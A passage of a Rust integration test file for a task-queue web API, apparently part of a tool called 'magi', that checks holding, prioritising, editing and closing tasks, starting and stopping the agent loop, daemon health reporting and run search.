10086 let queue = f.queue();
10087 let mut task = Task::new(
10088 "busy".to_owned(),
10089 "Running right now".to_owned(),
10090 PathBuf::from("/repo/magi"),
10091 Source::Human,
10092 );
10093 queue.put(&mut task).expect("file the task");
10094 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
10095
10096 let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
10097
10098 assert_eq!(res.status, 409);
10099 assert_eq!(
10100 queue.get(&task.id).expect("reload").status,
10101 TaskStatus::Queued,
10102 "the refused hold changed nothing"
10103 );
10104 }
10105
10106 #[tokio::test]
10107 async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
10108 let f = Fixture::start().await;
10109 let queue = f.queue();
10110 let mut task = Task::new(
10111 "waiting on the migration".to_owned(),
10112 "Do the thing".to_owned(),
10113 PathBuf::from("/repo/magi"),
10114 Source::Human,
10115 );
10116 queue.put(&mut task).expect("file the task");
10117
10118 let held = f
10119 .post(
10120 &format!("/api/queue/{}/hold", task.id),
10121 Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
10122 )
10123 .await;
10124 assert_eq!(held.status, 200, "{}", held.body);
10125 assert_eq!(held.json()["status_str"], "held");
10126 assert_eq!(
10127 held.json()["hold_reason"],
10128 "waiting for 20260101-000000-aaaa to land"
10129 );
10130
10131 let listed = f.get("/api/queue").await.json();
10132 assert_eq!(
10133 listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
10134 "the card reads the reason off the same list route"
10135 );
10136
10137 let mut plain = Task::new(
10140 "no reason given".to_owned(),
10141 "Do another thing".to_owned(),
10142 PathBuf::from("/repo/magi"),
10143 Source::Human,
10144 );
10145 queue.put(&mut plain).expect("file the task");
10146 let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
10147 assert_eq!(held_plain.status, 200, "{}", held_plain.body);
10148 assert!(held_plain.json()["hold_reason"].is_null());
10149
10150 let released = f
10151 .post(&format!("/api/queue/{}/release", task.id), None)
10152 .await;
10153 assert_eq!(released.status, 200);
10154 assert!(
10155 released.json()["hold_reason"].is_null(),
10156 "a release must clear the reason so the next hold does not inherit it"
10157 );
10158 }
10159
10160 #[tokio::test]
10161 async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
10162 let f = Fixture::start().await;
10163 let queue = f.queue();
10164 let mut older = Task::new(
10165 "filed first".to_owned(),
10166 "x".to_owned(),
10167 PathBuf::from("/repo/magi"),
10168 Source::Human,
10169 );
10170 older.id = "20260101-000001-aaaa".to_owned();
10171 let mut newer = Task::new(
10172 "filed second".to_owned(),
10173 "x".to_owned(),
10174 PathBuf::from("/repo/magi"),
10175 Source::Human,
10176 );
10177 newer.id = "20260101-000002-bbbb".to_owned();
10178 queue.put(&mut older).expect("file older");
10179 queue.put(&mut newer).expect("file newer");
10180
10181 let before = f.get("/api/queue").await.json();
10184 assert_eq!(before[0]["id"], newer.id);
10185 assert_eq!(before[1]["id"], older.id);
10186
10187 let raised = f
10191 .post(
10192 &format!("/api/queue/{}/priority", older.id),
10193 Some(r#"{"priority":10}"#),
10194 )
10195 .await;
10196 assert_eq!(raised.status, 200, "{}", raised.body);
10197 assert_eq!(raised.json()["priority"], 10);
10198
10199 let after = f.get("/api/queue").await.json();
10200 let names: Vec<&str> = after
10201 .as_array()
10202 .unwrap()
10203 .iter()
10204 .map(|t| t["id"].as_str().unwrap())
10205 .collect();
10206 assert_eq!(names[0], older.id, "the raised task now sorts first");
10210 }
10211
10212 #[tokio::test]
10213 async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
10214 let f = Fixture::start().await;
10215 let queue = f.queue();
10216 let mut task = Task::new(
10217 "in flight".to_owned(),
10218 "x".to_owned(),
10219 PathBuf::from("/repo/magi"),
10220 Source::Human,
10221 );
10222 task.start("20260902-140502-bbbb".to_owned());
10223 queue.put(&mut task).expect("file the task");
10224
10225 let res = f
10226 .post(
10227 &format!("/api/queue/{}/priority", task.id),
10228 Some(r#"{"priority":9}"#),
10229 )
10230 .await;
10231 assert_eq!(res.status, 400, "{}", res.body);
10232 assert!(
10233 res.json()["error"]
10234 .as_str()
10235 .is_some_and(|e| e.contains("running")),
10236 "{}",
10237 res.body
10238 );
10239 assert_eq!(
10240 queue.get(&task.id).expect("reload").priority,
10241 0,
10242 "the refused write must not partially apply"
10243 );
10244 }
10245
10246 #[tokio::test]
10247 async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
10248 let f = Fixture::start().await;
10249 let queue = f.queue();
10250 let mut task = Task::new(
10251 "old title".to_owned(),
10252 "old instruction".to_owned(),
10253 PathBuf::from("/repo/magi"),
10254 Source::Agent {
10255 run: "20260101-000000-beef".to_owned(),
10256 node: "implement".to_owned(),
10257 },
10258 );
10259 task.runs.push("20260101-000000-beef".to_owned());
10260 queue.put(&mut task).expect("file the task");
10261 let created_at = task.created_at;
10262
10263 let edited = f
10264 .post(
10265 &format!("/api/queue/{}/edit", task.id),
10266 Some(r#"{"title":"new title","instruction":"new instruction"}"#),
10267 )
10268 .await;
10269 assert_eq!(edited.status, 200, "{}", edited.body);
10270 let body = edited.json();
10271 assert_eq!(body["title"], "new title");
10272 assert_eq!(body["instruction"], "new instruction");
10273 assert_eq!(body["id"], task.id, "editing must not mint a new id");
10274 assert_eq!(body["created_at"], created_at.to_string());
10275 assert_eq!(
10276 body["source"]["kind"], "agent",
10277 "editing a task an agent filed must not turn it human: {body}"
10278 );
10279 assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
10280
10281 let reloaded = queue.get(&task.id).expect("reload");
10282 assert_eq!(reloaded.title, "new title");
10283 assert_eq!(reloaded.instruction, "new instruction");
10284 }
10285
10286 #[tokio::test]
10287 async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
10288 let tmp = TempDir::new().expect("tempdir");
10291 let repo = tmp.path().join("repo");
10292 std::fs::create_dir_all(&repo).expect("repo dir");
10293 let judge = MOCK_AGENT_TOML.replace(
10294 "printf ok",
10295 r#"printf '{\"duplicate\":true,\"reason\":\"same branch\"}'"#,
10296 );
10297 std::fs::write(repo.join("magi.toml"), judge).expect("write magi.toml");
10298 let f = Fixture::with_repo(repo.clone()).await;
10299 let queue = f.queue();
10300 let mut owner = Task::new(
10301 "owner".to_owned(),
10302 "review it".to_owned(),
10303 repo.clone(),
10304 Source::Human,
10305 );
10306 owner.review_branch = Some("magi/ab12/A".to_owned());
10307 queue.put(&mut owner).expect("file the owner");
10308 let mut task = Task::new(
10309 "draft".to_owned(),
10310 "old".to_owned(),
10311 repo.clone(),
10312 Source::Human,
10313 );
10314 queue.put(&mut task).expect("file the draft");
10315 let url = format!("/api/queue/{}/edit", task.id);
10316
10317 let refused = f
10318 .post(
10319 &url,
10320 Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
10321 )
10322 .await;
10323 assert_eq!(refused.status, 409, "{}", refused.body);
10324 let msg = refused.json()["error"]
10325 .as_str()
10326 .unwrap_or_default()
10327 .to_owned();
10328 assert!(
10329 msg.contains("magi/ab12/A") && msg.contains("force"),
10330 "{msg}"
10331 );
10332 assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
10333
10334 let forced = f
10335 .post(
10336 &url,
10337 Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
10338 )
10339 .await;
10340 assert_eq!(forced.status, 200, "{}", forced.body);
10341 }
10342
10343 #[tokio::test]
10344 async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
10345 let f = Fixture::start().await;
10346 let queue = f.queue();
10347 let mut task = Task::new(
10348 "in flight".to_owned(),
10349 "do not touch".to_owned(),
10350 PathBuf::from("/repo/magi"),
10351 Source::Human,
10352 );
10353 task.start("20260902-140502-bbbb".to_owned());
10354 queue.put(&mut task).expect("file the task");
10355
10356 let res = f
10357 .post(
10358 &format!("/api/queue/{}/edit", task.id),
10359 Some(r#"{"title":"x","instruction":"y"}"#),
10360 )
10361 .await;
10362 assert_eq!(res.status, 400, "{}", res.body);
10363 assert!(
10364 res.json()["error"]
10365 .as_str()
10366 .is_some_and(|e| e.contains("running")),
10367 "{}",
10368 res.body
10369 );
10370 assert_eq!(
10371 queue.get(&task.id).expect("reload").instruction,
10372 "do not touch",
10373 "the refused edit must not change the file"
10374 );
10375 }
10376
10377 #[tokio::test]
10378 async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
10379 let f = Fixture::start().await;
10380 let queue = f.queue();
10381 let mut task = Task::new(
10382 "busy".to_owned(),
10383 "Running right now".to_owned(),
10384 PathBuf::from("/repo/magi"),
10385 Source::Human,
10386 );
10387 queue.put(&mut task).expect("file the task");
10388 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
10389
10390 let priority = f
10391 .post(
10392 &format!("/api/queue/{}/priority", task.id),
10393 Some(r#"{"priority":9}"#),
10394 )
10395 .await;
10396 assert_eq!(priority.status, 409, "{}", priority.body);
10397
10398 let edit = f
10399 .post(
10400 &format!("/api/queue/{}/edit", task.id),
10401 Some(r#"{"title":"x","instruction":"y"}"#),
10402 )
10403 .await;
10404 assert_eq!(edit.status, 409, "{}", edit.body);
10405 }
10406
10407 #[tokio::test]
10408 async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
10409 let f = Fixture::start().await;
10410 let queue = f.queue();
10411 let mut task = Task::new(
10412 "shipped by hand".to_owned(),
10413 "merged outside the loop".to_owned(),
10414 PathBuf::from("/repo/magi"),
10415 Source::Agent {
10416 run: "20260101-000000-b455".to_owned(),
10417 node: "implement".to_owned(),
10418 },
10419 );
10420 task.runs.push("20260101-000000-b455".to_owned());
10421 task.runs.push("20260101-000000-9af4".to_owned());
10422 queue.put(&mut task).expect("file the task");
10423 let created_at = task.created_at;
10424
10425 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
10426 assert_eq!(done.status, 200, "{}", done.body);
10427 assert_eq!(done.json()["status_str"], "done");
10428
10429 let reloaded = queue.get(&task.id).expect("a done task is still on disk");
10430 assert_eq!(
10431 reloaded.runs,
10432 ["20260101-000000-b455", "20260101-000000-9af4"]
10433 );
10434 assert_eq!(
10435 reloaded.source,
10436 Source::Agent {
10437 run: "20260101-000000-b455".to_owned(),
10438 node: "implement".to_owned(),
10439 }
10440 );
10441 assert_eq!(reloaded.created_at, created_at);
10442 }
10443
10444 #[tokio::test]
10445 async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
10446 let f = Fixture::start().await;
10451 let queue = f.queue();
10452 let mut task = Task::new(
10453 "landed while held".to_owned(),
10454 "x".to_owned(),
10455 PathBuf::from("/repo/magi"),
10456 Source::Human,
10457 );
10458 task.hold_manual(Some("waiting on 3ed9".to_owned()));
10459 queue.put(&mut task).expect("file the held task");
10460
10461 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
10462 assert_eq!(done.status, 200, "{}", done.body);
10463 assert_eq!(done.json()["status_str"], "done");
10464 assert!(
10465 done.json()["hold_reason"].is_null(),
10466 "a done task cannot still be waiting on something: {}",
10467 done.body
10468 );
10469 }
10470
10471 #[tokio::test]
10472 async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
10473 let f = Fixture::start().await;
10478 let queue = f.queue();
10479 let runs = f.runs();
10480 write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
10481 write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
10485
10486 let mut task = Task::new(
10487 "landed by hand".to_owned(),
10488 "x".to_owned(),
10489 PathBuf::from("/repo/magi"),
10490 Source::Human,
10491 );
10492 task.runs.push("20260101-000000-doa1".to_owned());
10493 task.runs.push("20260101-000000-doa2".to_owned());
10494 queue.put(&mut task).expect("file the task");
10495
10496 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
10497 assert_eq!(done.status, 200, "{}", done.body);
10498
10499 let reloaded_run = read_run(&runs, "20260101-000000-doa1")
10500 .expect("run still on disk under this fixture's own home");
10501 assert_eq!(
10502 reloaded_run.status,
10503 RunStatus::Superseded,
10504 "closing the task by hand must relabel the earlier blocked attempt exactly \
10505 like the loop's own settle path does"
10506 );
10507 }
10508
10509 #[tokio::test]
10510 async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
10511 let f = Fixture::start().await;
10516 let queue = f.queue();
10517 let runs = f.runs();
10518 write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
10519 write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
10520
10521 let mut task = Task::new(
10522 "closed with nothing actually landed".to_owned(),
10523 "x".to_owned(),
10524 PathBuf::from("/repo/magi"),
10525 Source::Human,
10526 );
10527 task.runs.push("20260101-000000-dob1".to_owned());
10528 task.runs.push("20260101-000000-dob2".to_owned());
10529 queue.put(&mut task).expect("file the task");
10530
10531 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
10532 assert_eq!(done.status, 200, "{}", done.body);
10533
10534 let reloaded_run = read_run(&runs, "20260101-000000-dob1")
10535 .expect("run still on disk under this fixture's own home");
10536 assert_eq!(
10537 reloaded_run.status,
10538 RunStatus::Blocked,
10539 "the last recorded attempt never landed, so the earlier one must not be \
10540 relabelled as superseded by it"
10541 );
10542 }
10543
10544 #[tokio::test]
10545 async fn unknown_ids_are_json_not_found_on_both_stores() {
10546 let f = Fixture::start().await;
10547
10548 let run = f.get("/api/runs/nosuchrun").await;
10549 let task = f.post("/api/queue/nosuchtask/hold", None).await;
10550
10551 assert_eq!(run.status, 404);
10552 assert_eq!(task.status, 404);
10553 assert!(
10554 run.json()["error"]
10555 .as_str()
10556 .is_some_and(|e| e.contains("run")),
10557 "the error names what was not found: {}",
10558 run.body
10559 );
10560 assert!(
10561 task.json()["error"]
10562 .as_str()
10563 .is_some_and(|e| e.contains("task")),
10564 "the error names what was not found: {}",
10565 task.body
10566 );
10567 }
10568
10569 #[tokio::test]
10570 async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
10571 let f = Fixture::start().await;
10572
10573 let missing = f.get("/api/health").await.json();
10574 assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
10575
10576 write_daemon(
10577 f.home.path(),
10578 Timestamp::now() - jiff::SignedDuration::from_secs(60),
10579 );
10580 let stale = f.get("/api/health").await.json();
10581 assert_eq!(
10582 stale["daemon"]["running"], false,
10583 "a minute without a heartbeat is a dead daemon, not a busy one"
10584 );
10585 assert!(
10586 stale["daemon"]["stale_for_secs"]
10587 .as_i64()
10588 .is_some_and(|s| s >= 55),
10589 "staleness is reported so the UI can say how long: {stale}"
10590 );
10591
10592 write_daemon(f.home.path(), Timestamp::now());
10593 let fresh = f.get("/api/health").await.json();
10594 assert_eq!(fresh["daemon"]["running"], true);
10595 assert_eq!(fresh["daemon"]["idle"], false);
10596 assert_eq!(fresh["daemon"]["pid"], 4242);
10597 assert_eq!(fresh["daemon"]["completed"], 7);
10598 assert_eq!(
10599 fresh["daemon"]["current"][0]["task"],
10600 "20260902-140501-aaaa"
10601 );
10602 assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
10603 }
10604
10605 #[tokio::test]
10606 async fn the_loop_is_not_running_until_something_starts_it() {
10607 let f = Fixture::start().await;
10608
10609 let view = f.get("/api/loop").await.json();
10610 assert_eq!(view["running"], false);
10611 assert_eq!(
10612 view["owned"], false,
10613 "nobody owns a loop that does not exist: {view}"
10614 );
10615 assert_eq!(view["stopping"], false);
10616 assert_eq!(view["last_error"], Value::Null);
10617 assert_eq!(view["daemon"]["running"], false);
10618 assert_eq!(
10619 view["repo"], "/repo/magi",
10620 "the repository a start would use, named before it is started"
10621 );
10622 }
10623
10624 #[tokio::test]
10625 async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
10626 let f = Fixture::start().await;
10627
10628 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10629 assert_eq!(res.status, 200, "{}", res.body);
10630 let view = res.json();
10631 assert_eq!(view["running"], true);
10632 assert_eq!(
10633 view["owned"], true,
10634 "the loop the UI started is the UI's own to stop: {view}"
10635 );
10636 assert_eq!(
10637 view["merge"],
10638 Value::Null,
10639 "no override was given, so each repository's own config decides"
10640 );
10641
10642 let health = f.get("/api/health").await.json();
10646 assert_eq!(health["loop"]["running"], true, "{health}");
10647 assert_eq!(health["loop"]["owned"], true, "{health}");
10648
10649 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
10650 }
10651
10652 #[tokio::test]
10653 async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
10654 let f = Fixture::start().await;
10655 let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10656 assert_eq!(first.status, 200, "{}", first.body);
10657
10658 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10659 assert_eq!(
10660 again.status, 409,
10661 "two loops on one queue race for the same claims: {}",
10662 again.body
10663 );
10664 assert!(
10665 again.json()["error"]
10666 .as_str()
10667 .is_some_and(|e| e.contains("already running the loop")),
10668 "the refusal has to say why: {}",
10669 again.body
10670 );
10671 assert_eq!(
10672 f.get("/api/loop").await.json()["running"],
10673 true,
10674 "and the loop that was already running is untouched by it"
10675 );
10676
10677 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
10678 }
10679
10680 #[tokio::test]
10681 async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
10682 let f = Fixture::start().await;
10683 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10684
10685 let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
10686 assert_eq!(
10687 res.status, 200,
10688 "the answer must not wait for the loop: a run in flight is tens of \
10689 minutes and the operator is holding a phone: {}",
10690 res.body
10691 );
10692
10693 let view = settled(&f, |v| v["running"] == false).await;
10694 assert_eq!(view["owned"], false);
10695 assert_eq!(
10696 view["stopping"], false,
10697 "a loop that has stopped is not still stopping: {view}"
10698 );
10699 assert_eq!(
10700 view["last_error"],
10701 Value::Null,
10702 "a loop that was asked to stop did not fail: {view}"
10703 );
10704
10705 let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
10708 assert_eq!(twice.status, 200, "{}", twice.body);
10709 }
10710
10711 #[tokio::test]
10712 async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
10713 let f = Fixture::start().await;
10714 write_daemon(f.home.path(), Timestamp::now());
10717
10718 let view = f.get("/api/loop").await.json();
10719 assert_eq!(view["running"], false, "not in this process: {view}");
10720 assert_eq!(view["owned"], false, "and not this process's to control");
10721 assert_eq!(
10722 view["daemon"]["running"], true,
10723 "but a loop is alive somewhere, which is what the UI must say"
10724 );
10725 assert_eq!(view["daemon"]["pid"], 4242);
10726
10727 for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
10728 let res = f.post("/api/loop", Some(body)).await;
10729 assert_eq!(
10730 res.status, 409,
10731 "neither button may pretend to work on someone else's loop: {}",
10732 res.body
10733 );
10734 assert!(
10735 res.json()["error"]
10736 .as_str()
10737 .is_some_and(|e| e.contains("4242")),
10738 "the refusal has to name the process the operator must go to: {}",
10739 res.body
10740 );
10741 }
10742 assert_eq!(
10743 f.get("/api/loop").await.json()["running"],
10744 false,
10745 "and the refusal started nothing"
10746 );
10747 }
10748
10749 #[tokio::test]
10750 async fn a_stale_status_file_is_not_a_foreign_owner() {
10751 let f = Fixture::start().await;
10752 write_daemon(
10753 f.home.path(),
10754 Timestamp::now() - jiff::SignedDuration::from_secs(60),
10755 );
10756
10757 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10758 assert_eq!(
10759 res.status, 200,
10760 "a daemon killed a minute ago must not lock the loop out of its \
10761 own home for good: {}",
10762 res.body
10763 );
10764 assert_eq!(res.json()["running"], true);
10765
10766 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
10767 }
10768
10769 #[tokio::test]
10770 async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
10771 let f = Fixture::start().await;
10772 let before = f.get("/api/health").await.json()["loop_rev"]
10773 .as_u64()
10774 .expect("a loop revision");
10775
10776 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10777
10778 let after = f.get("/api/health").await.json()["loop_rev"]
10779 .as_u64()
10780 .expect("a loop revision");
10781 assert!(
10782 after > before,
10783 "the loop is in-process state, so this counter is the only thing \
10784 that tells a second device the first one started it: {before} -> \
10785 {after}"
10786 );
10787
10788 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
10789 }
10790
10791 #[tokio::test]
10792 async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
10793 let f = Fixture::with_loop(launch_broken).await;
10794
10795 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10796 assert_eq!(
10797 res.status, 200,
10798 "starting it is not the failure: {}",
10799 res.body
10800 );
10801
10802 let view = settled(&f, |v| v["last_error"].is_string()).await;
10803 assert_eq!(
10804 view["running"], false,
10805 "a loop that died must not read as running, or the operator has \
10806 nothing to press: {view}"
10807 );
10808 assert_eq!(view["owned"], false);
10809 assert!(
10810 view["last_error"]
10811 .as_str()
10812 .is_some_and(|e| e.contains("read-only file system")),
10813 "the phone is where a loop that died at 3am is visible: {view}"
10814 );
10815
10816 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10819 assert_eq!(again.status, 200, "{}", again.body);
10820 assert_eq!(
10821 again.json()["last_error"],
10822 Value::Null,
10823 "a fresh start does not keep showing why the last one died"
10824 );
10825 }
10826
10827 #[tokio::test(flavor = "multi_thread", worker_threads = 2)]
10839 async fn the_deck_answers_while_it_parks_and_frees_the_address_first() {
10840 let home = TempDir::new().expect("temp home");
10841 let runs = home.path().join("runs");
10842 std::fs::create_dir_all(&runs).expect("runs dir");
10843 let ui = Ui::new(
10844 Queue::at(home.path().join("queue")),
10845 Questions::at(home.path().join("questions")),
10846 Talks::at(home.path().join("talks")),
10847 runs,
10848 home.path().to_path_buf(),
10849 PathBuf::from("/repo/magi"),
10850 )
10851 .with_worktrees_root(home.path().join("wt"))
10852 .with_launch(launch_knocking_on_the_way_out);
10853 let looping = ui.looping();
10854 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
10855 .await
10856 .expect("bind loopback");
10857 let addr = listener.local_addr().expect("local addr");
10858 *PARK_KNOCK.lock().expect("park knock") = Some(addr);
10859 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
10860
10861 let started = request(addr, "POST", "/api/loop", Some(r#"{"running":true}"#)).await;
10862 assert_eq!(started.status, 200, "the loop starts: {}", started.body);
10863
10864 let bound = std::sync::Mutex::new(None);
10879 hand_over(home.path(), &looping, served, |_| {
10880 let deadline = std::time::Instant::now() + std::time::Duration::from_secs(5);
10881 let attempt = loop {
10882 match std::net::TcpListener::bind(addr) {
10883 Ok(l) => {
10884 drop(l);
10885 break Ok(());
10886 }
10887 Err(e)
10888 if e.kind() == std::io::ErrorKind::AddrInUse
10889 && std::time::Instant::now() < deadline =>
10890 {
10891 std::thread::sleep(std::time::Duration::from_millis(10));
10892 }
10893 Err(e) => break Err(e.to_string()),
10894 }
10895 };
10896 *bound.lock().expect("bound") = Some(attempt);
10897 Ok(1)
10898 })
10899 .await
10900 .expect("hand over");
10901
10902 assert_eq!(
10903 *PARK_HEARD.lock().expect("park heard"),
10904 Some(200),
10905 "the deck must answer while the loop is parking"
10906 );
10907 let attempt = bound
10908 .lock()
10909 .expect("bound")
10910 .take()
10911 .expect("the successor was started");
10912 assert!(
10913 attempt.is_ok(),
10914 "and the address must be free by the time it is: {attempt:?}"
10915 );
10916 }
10917
10918 #[tokio::test]
10919 async fn a_newer_daemon_status_file_still_renders() {
10920 let f = Fixture::start().await;
10921 std::fs::write(
10924 f.home.path().join("daemon.json"),
10925 serde_json::json!({
10926 "schema": 2,
10927 "updated_at": Timestamp::now().to_string(),
10928 "idle": true,
10929 "surprise": { "nested": [1, 2, 3] },
10930 })
10931 .to_string(),
10932 )
10933 .expect("write daemon.json");
10934
10935 let health = f.get("/api/health").await;
10936
10937 assert_eq!(health.status, 200);
10938 assert_eq!(health.json()["daemon"]["running"], true);
10939 }
10940
10941 #[tokio::test]
10942 async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
10943 let f = Fixture::start().await;
10944 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
10945 let broken = f.runs().join("20260902-140502-bad");
10946 std::fs::create_dir_all(&broken).expect("run dir");
10947 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
10948
10949 let list = f.get("/api/runs").await;
10950 let detail = f.get("/api/runs/20260902-140502-bad").await;
10951
10952 assert_eq!(list.status, 200);
10953 let listed = list.json();
10954 let ids: Vec<&str> = listed
10955 .as_array()
10956 .expect("an array")
10957 .iter()
10958 .map(|r| r["id"].as_str().expect("an id"))
10959 .collect();
10960 assert_eq!(
10961 ids,
10962 vec!["20260902-140501-good"],
10963 "one unreadable run must not cost the operator the whole history"
10964 );
10965 assert_eq!(detail.status, 500);
10966 assert!(
10967 detail.json()["error"]
10968 .as_str()
10969 .is_some_and(|e| e.contains("run.json")),
10970 "the failure names the file to look at: {}",
10971 detail.body
10972 );
10973 let health = f.get("/api/health").await;
10977 assert_eq!(health.json()["runs_unreadable"], 1);
10978 }
10979
10980 #[tokio::test]
10982 async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
10983 let f = Fixture::start().await;
10984 let runs = f.runs();
10985 write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
10986 write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
10987 let path = runs.join("20260902-140502-bbbb").join("run.json");
10990 let mut v: serde_json::Value =
10991 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
10992 v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
10993 std::fs::write(&path, v.to_string()).unwrap();
10994 std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
10995 std::fs::write(
10996 runs.join("20260902-140503-cccc").join("run.json"),
10997 "{ not json",
10998 )
10999 .unwrap();
11000
11001 let res = f.get("/api/search?scope=runs&q=quokka").await;
11002 assert_eq!(res.status, 200, "{}", res.body);
11003 let v = res.json();
11004 assert_eq!(v["total"], 1, "{v}");
11005 assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
11006 assert_eq!(v["hits"][0]["field"], "text");
11007 assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
11008 let parts = v["hits"][0]["snippet"].as_array().unwrap();
11009 assert!(
11010 parts
11011 .iter()
11012 .any(|p| p["hit"] == true && p["text"] == "Quokka"),
11013 "{v}"
11014 );
11015 let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
11016 assert_eq!(
11017 flat, "The Quokka leaks across threads",
11018 "whitespace is collapsed"
11019 );
11020
11021 let both = f
11023 .get("/api/search?scope=runs&q=MOBILE%20quokka")
11024 .await
11025 .json();
11026 assert_eq!(both["total"], 1, "{both}");
11027 let neither = f
11028 .get("/api/search?scope=runs&q=quokka%20zebra")
11029 .await
11030 .json();
11031 assert_eq!(neither["total"], 0, "{neither}");
11032 let stmt = f
11034 .get("/api/search?scope=runs&q=mobile%20first")
11035 .await
11036 .json();
11037 assert_eq!(stmt["total"], 2, "{stmt}");
11038 let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
11039 assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
11040 }
11041
11042 #[test]
11043 fn snippet_ignores_terms_longer_than_the_field() {
11044 let terms = ["ok".to_owned(), "elephant".to_owned()];
11045 let parts = snippet_of("ok", &terms);
11046 assert_eq!(
11047 parts,
11048 vec![SnippetPart {
11049 text: "ok".to_owned(),
11050 hit: true
11051 }]
11052 );
11053 }
11054
11055 #[test]
11056 fn snippet_marks_matches_longer_than_the_window() {
11057 let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
11058 let hit_len = |parts: &[SnippetPart]| -> usize {
11059 parts
11060 .iter()
11061 .filter(|p| p.hit)
11062 .map(|p| p.text.chars().count())
11063 .sum()
11064 };
11065 let total =
11066 |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
11067
11068 let long = "a".repeat(120);
11069 let parts = snippet_of(&long, std::slice::from_ref(&long));
11070 assert!(hit_len(&parts) > 0, "{parts:?}");
11071 assert!(total(&parts) <= cap);
11072
11073 let ja = "あ".repeat(130);
11074 let parts = snippet_of(&ja, std::slice::from_ref(&ja));
11075 assert!(hit_len(&parts) > 0, "{parts:?}");
11076 assert!(total(&parts) <= cap);
11077
11078 let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
11080 let term = format!("ab{}", "c".repeat(100));
11081 let parts = snippet_of(&text, &["ab ".to_owned(), term]);
11082 assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
11083 assert!(total(&parts) <= cap);
11084
11085 let text = format!("{}z", "a".repeat(119));
11087 let parts = snippet_of(&text, &["a".repeat(120)]);
11088 assert_eq!(hit_len(&parts), 0, "{parts:?}");
11089 }
11090
11091 #[tokio::test]
11092 async fn search_caps_hits_and_snippet_length() {
11093 let f = Fixture::start().await;
11094 let runs = f.runs();
11095 for n in 0..(SEARCH_MAX_HITS + 5) {
11096 write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
11097 }
11098 let v = f.get("/api/search?scope=runs&q=web").await.json();
11099 assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
11100 assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
11101 assert_eq!(v["truncated"], true);
11102 assert!(
11104 v["hits"]
11105 .as_array()
11106 .unwrap()
11107 .iter()
11108 .all(|h| h["run"]["status"] == "merged")
